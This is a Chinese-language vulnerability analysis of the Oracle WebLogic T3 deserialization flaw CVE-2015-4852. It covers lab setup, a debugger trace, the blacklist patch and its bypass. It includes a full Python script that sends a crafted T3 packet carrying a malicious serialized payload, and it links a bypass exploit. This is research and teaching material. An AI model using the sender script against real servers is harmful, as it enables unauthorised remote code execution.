T3协议反序列化分析

目录导读

[TOC]

前言

本文将基于对RMI的认知,对cve-2015-4852漏洞进行分析。该漏洞作为T3协议反序列化漏洞的始祖,必有其价值,不仅可以研究漏洞原理,更是可以在补丁中学到防御与绕过的艺术,因为Weblogic后面的T3协议的反序列化漏洞,基本也是与漏洞补丁对抗的产物。

T3协议

之前已经跟大家详细的分析过RMI了,Java原生的RMI通信是基于JRMP协议的,而在Weblogic中,使用的即是T3协议。T3协议允许Weblogic Server和其他Java程序或其他Weblpgic Server之前通信。

T3协议组成

  • 请求包头
  • 请求主体

使用wireshark抓包可以看到,下图是T3协议的通信数据包

  • HL: 标识后边发起的T3协议头长度
  • AS: 标识了发送的序列化数据的容量

查看十六进制数据可以发现

客户端与服务端通信的数据均以\n\n结尾

T3协议数据交换过程

T3协议攻击原理

目前已经了解了T3协议的数据交换过程,我们还需要对数据包中的二进制串有一个深入的认知,才能理解T3协议反序列化的原理。

需要知道的有:

  • 每个T3的数据包中都必须包含T3协议头
  • 序列化数据的头部二进制串为aced0005
  • 数据包前4字节,标识了数据包的长度
  • 长度标识后一个字节标识了该数据包是请求还是响应,01代表请求,02代表响应

那么T3协议的攻击原理就简单易懂了,我们只需要替换数据包中的某部分序列化数据为恶意数据即可

图示如下:

说是替换,其实是将T3协议头写好,拼接第一部分正常序列化数据,拼接恶意的序列化数据,拼接第二部分正常序列化数据,以此来构造恶意的数据包。

Weblogic环境搭建

笔者使用的是A-Team的工具进行自动化搭建的,github连接:https://github.com/QAX-A-Team/WeblogicEnvironment

过程比较简单,详情可以看README.md

1、编译docker环境

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .

2、启动docker镜像

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

此时访问7001端口就可以看到weblogic的页面了

为了后面我们使用IDEA调试weblogic,还需要将weblogic依赖的jar包下下来,导入IDEA中

docker exec -it weblogic1036jdk7u21 /bin/bash
cd /u01/app/oracle/
cp -r middleware/ /root/WeblogicEnvironment-master/

然后将modules、wlserver两个依赖导入IDEA即可

T3协议攻击示例

本次调试分析源码所使用的weblogic版本为10.3.6

1、生成序列化payload

2、编写发送数据的脚本

这里笔者在网上找了一份pyhton的

#!/usr/bin/python
import socket
import struct
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()

payload='\x00\x00\x09\xe4\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
print 'sending payload...'
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])

sock.send(payload)

3、使用socket发送数据

反序列化源码分析

WeblogicT3对RMI传递过来的数据处理过程非常复杂,分析起来可能会有点头疼,但只要始终记住,Weblogic处理数据时,会对数据按照序列化头部标识进行分片,并逐个反序列化,就明白为什么会触发恶意代码了。


由于Server必定会反序列化Client通过RMI传递过来的数据,因此我们可以在InboundMsgAbbrev#readObject()下断点

debug启动服务器,并发送恶意代码到Weblogic Server

程序断在了readObject()

我们可以发现,在var1中的head正是我们传递过来的数据

接着调用var1.read(),并赋值给var2

跟进read()

发现if判断为False,则进入super.reaad()中(ChunkedInputStream#read)

这里大概是对数据大小做了一些判断,最终会跳出if判断,直接return

回到InboundMsgAbbrev#readObject()

var2的值为0

跟入InboundMsgAbbrev#ServerChannelInputStream()

跟入MsgAbbrevInputStream#getServerChannel()

MsgAbbrevInputStream.connection中主要存储了一些RMI连接的数据,包括端口地址等

接着调用getChannel()处理T3协议

getServerChannel()结果如下,其实就是获取了socket相关信息

其实到这里我们可以看出经过这几个步骤,能够对传入的socket进行T3的处理,获取到信息流。接下来调用readObject()

跟入ChunkedObjectInputStream#read()

继续调用super.read()

read()方法的过程和上面一致了,过程就是为了对客户端传递的数据进行分块处理

按照序列化数据头部,对传递的数据进行分块,然后依次解析每块的类,并加载进内存

这部分过程比较繁杂,建议自己调试分析

紧接着我直接将程序带到InboundMsgAbbrev#resolveClass()

可以看到这里的var1就是我们的AnnotationInvocationHandler,这里其实是程序已经执行了两圈resolveClass()的结果

后面也会对该类进行反序列化,从而触发CommonsCollecions漏洞

CVE-2015-4852补丁分析

贴一篇国外的分析文章:https://zh-cn.tenable.com/security/research/tra-2016-09?tns_redirect=true

可以发现CVE-2015-4852的补丁就是引入了一个黑名单,黑名单中的类不会被反序列化

下面3个则是黑名单应用的三个位置

CVE-2015-4852补丁绕过

绕过的思路如下:

其实就是由ServerChannelInputStream换到了自身的ReadExternal#InputStream

贴一个利用程序:

https://github.com/pwntester/SerialKillerBypassGadgetCollection/blob/master/src/main/java/serialkiller/bypass/Weblogic1.java

该补丁的绕过也被CVE收录为了CVE-2016-0638

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖